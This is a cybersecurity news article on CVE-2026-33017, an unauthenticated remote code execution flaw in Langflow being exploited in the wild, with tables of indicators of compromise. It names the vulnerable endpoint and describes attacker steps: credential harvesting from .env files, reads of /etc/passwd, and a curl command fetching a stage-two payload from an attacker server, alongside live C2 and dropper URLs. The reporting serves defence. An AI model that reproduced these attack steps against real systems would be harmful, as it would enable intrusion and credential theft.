Cyber Security News

Langflow RCE Flaw Lets Attackers Execute Arbitrary Python Code Without Authentication

A critical unauthenticated remote code execution (RCE) vulnerability in Langflow, tracked as CVE-2026-33017, is being actively exploited in the wild within hours of its disclosure. This vulnerability allows attackers to execute arbitrary Python code on exposed instances without any authentication.

It affects the widely used open-source AI workflow framework designed for building large language model (LLM)-powered pipelines and Retrieval-Augmented Generation (RAG) systems, significantly expanding the attack surface in AI-driven environments.

Langflow RCE Flaw

The flaw is found in the publicly accessible endpoint POST /api/v1/build_public_tmp/{flow_id}/flow, which allows users to build flows without authentication.

Due to improper input validation and a lack of sandboxing, attackers can inject malicious Python code into flow node definitions. This code is executed server-side, effectively granting attackers full command execution capabilities with just a single crafted HTTP request.

According to observations from the Sysdig Threat Research Team (TRT), exploitation of this vulnerability began approximately 20 hours after the public advisory was released on March 17, 2026.

Notably, attackers did not rely on publicly available proof-of-concept (PoC) exploits but weaponized the vulnerability directly from the advisory’s details. Early attacks used automated scanning tools such as Nuclei to embed payloads that executed system commands (e.g., `id`), encode outputs using Base64, and exfiltrate results via Interactsh callback domains.

Initial exploitation attempts originated from multiple IP addresses, including 77.110.106.154 and 209.97.165.247, suggesting coordinated scanning. These automated probes quickly evolved into sophisticated attacks involving custom Python scripts.

Threat actors conducted reconnaissance by listing directories, accessing sensitive files such as `/etc/passwd`, and attempting to deploy second-stage payloads via remote shell commands (e.g., `curl -fsSL http://<malicious-server>/z`).

In more advanced stages, attackers concentrated on credential harvesting and environment enumeration. By executing commands such as `venv` and searching for `.env` and database files, they extracted API keys, database credentials, and cloud access tokens.

This poses a significant risk of lateral movement and potential software supply chain compromises, especially in AI environments where Langflow instances often integrate with external services like AWS, OpenAI, and various databases.

The attack infrastructure revealed overlapping indicators, suggesting coordinated campaigns or shared tooling. For example, multiple attackers exfiltrated data to a command-and-control (C2) server hosted at 143.110.183.86:8080.

At the same time, second-stage payloads were delivered from 173.212.205.251:8443. The use of ephemeral Interactsh domains across various top-level domains further highlights the use of out-of-band (OOB) channels for stealthy data exfiltration.

Security researchers emphasize that this incident reflects a broader trend: the time-to-exploit window has drastically shrunk to mere hours.

Traditional patching cycles, which often span days or weeks, are no longer sufficient. Organizations must adopt runtime detection, network segmentation, and proactive monitoring to mitigate such rapidly weaponized threats.

Ioc

Source IPs

IPLocation (Geo)ASN / ProviderObserved Activity
77.110.106.154DE (Frankfurt)AEZA GROUP LLCNuclei scan against Langflow, Interactsh-based callback RCE
209.97.165.247SG (Singapore)DigitalOceanNuclei scan, Interactsh callback test of id command
188.166.209.86SG (Singapore)DigitalOceanNuclei scan, Interactsh callback, identical Python RCE payload
205.237.106.117FR (Paris)PUSHPKT OUNuclei scan with rotated User-Agent strings, Interactsh exfil
83.98.164.238NL (Lelystad)Accenture B.V.Custom exploit script, recon (ls, cat /etc/passwd), stage-2
173.212.205.251FR (Lauterbourg)Contabo GmbHCustom exploit, env/credential harvesting, dropper hosting

C2 and Staging Infrastructure

IndicatorTypeGeo / ProviderContext
143.110.183.86:8080C2 serverIN, DigitalOceanReceives base64-encoded exfiltrated command output
173.212.205.251:8443Dropper hostFR, Contabo GmbHServes stage-2 payload from path /z

Malicious Dropper URLs

URLRoleNotes
http://143.110.183.86:8080/C2 / exfil endpointReceives HTTP exfil from Python RCE
http://173.212.205.251:8443/zStage-2 dropperBash-executed payload delivery

Interactsh Callback Domains (Samples)

DomainTLDUsage
d6tcpc6flblph01gdcb0ku9ixih393m54.oast.live.oast.liveOOB validation of id command output
d6tcpe7nsv6kk9rdrpggi37zmjfxw9imr.oast.me.oast.meAutomated Nuclei-driven callback
d6td5s9qte0bea7273e0wuou77jjx77uk.oast.pro.oast.proRCE payload result exfiltration
d6tgbe1qte0a8rkffb3gqabqm8517exd3.oast.fun.oast.funEphemeral callback for scanning activity

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Follow us on Google News, LinkedIn, and X to Get Instant Updates and Set GBH as a Preferred Source in Google.

Divya

Divya is a Senior Journalist at GBhackers covering Cyber Attacks, Threats, Breaches, Vulnerabilities and other happenings in the cyber world.

Recent Posts

Hackers Use ConnectWise SkyKick Credentials to Access Microsoft 365, Halting Cloud Backups

Attackers abused compromised ConnectWise Cloud Backup credentials to access Microsoft 365 customer environments, prompting ConnectWise…

1 day ago

Anthropic’s Claude AI Uncovers Origins of NSA-Provided Cryptographic Keys After 25 Years

Anthropic says an internal Claude research model reconstructed how the National Security Agency generated seeds…

1 day ago

Critical WordPress Flaws Allow Attackers to Execute Remote Code Without Authentication

Two WordPress Core vulnerabilities can be chained to execute remote code without authentication, according to…

1 day ago

OpenBSD Kernel Flaw Dating Back 37 Years Enables Local Privilege Escalation to Root

A newly disclosed OpenBSD kernel exploitation chain combines a shared memory accounting flaw with a…

1 day ago

GhostAction Hackers Hide Credential-Stealing Malware in Fake Font Files Across 94 GitHub Repositories

GhostAction attackers have expanded their GitHub credential theft campaign with a second stage that disguises…

1 day ago

SideCopy Hackers Target Indian Organizations With ReverseRAT Malware to Steal Data

Indian authorities have warned that SideCopy hackers are targeting Indian organizations, including academic institutions, with…

1 day ago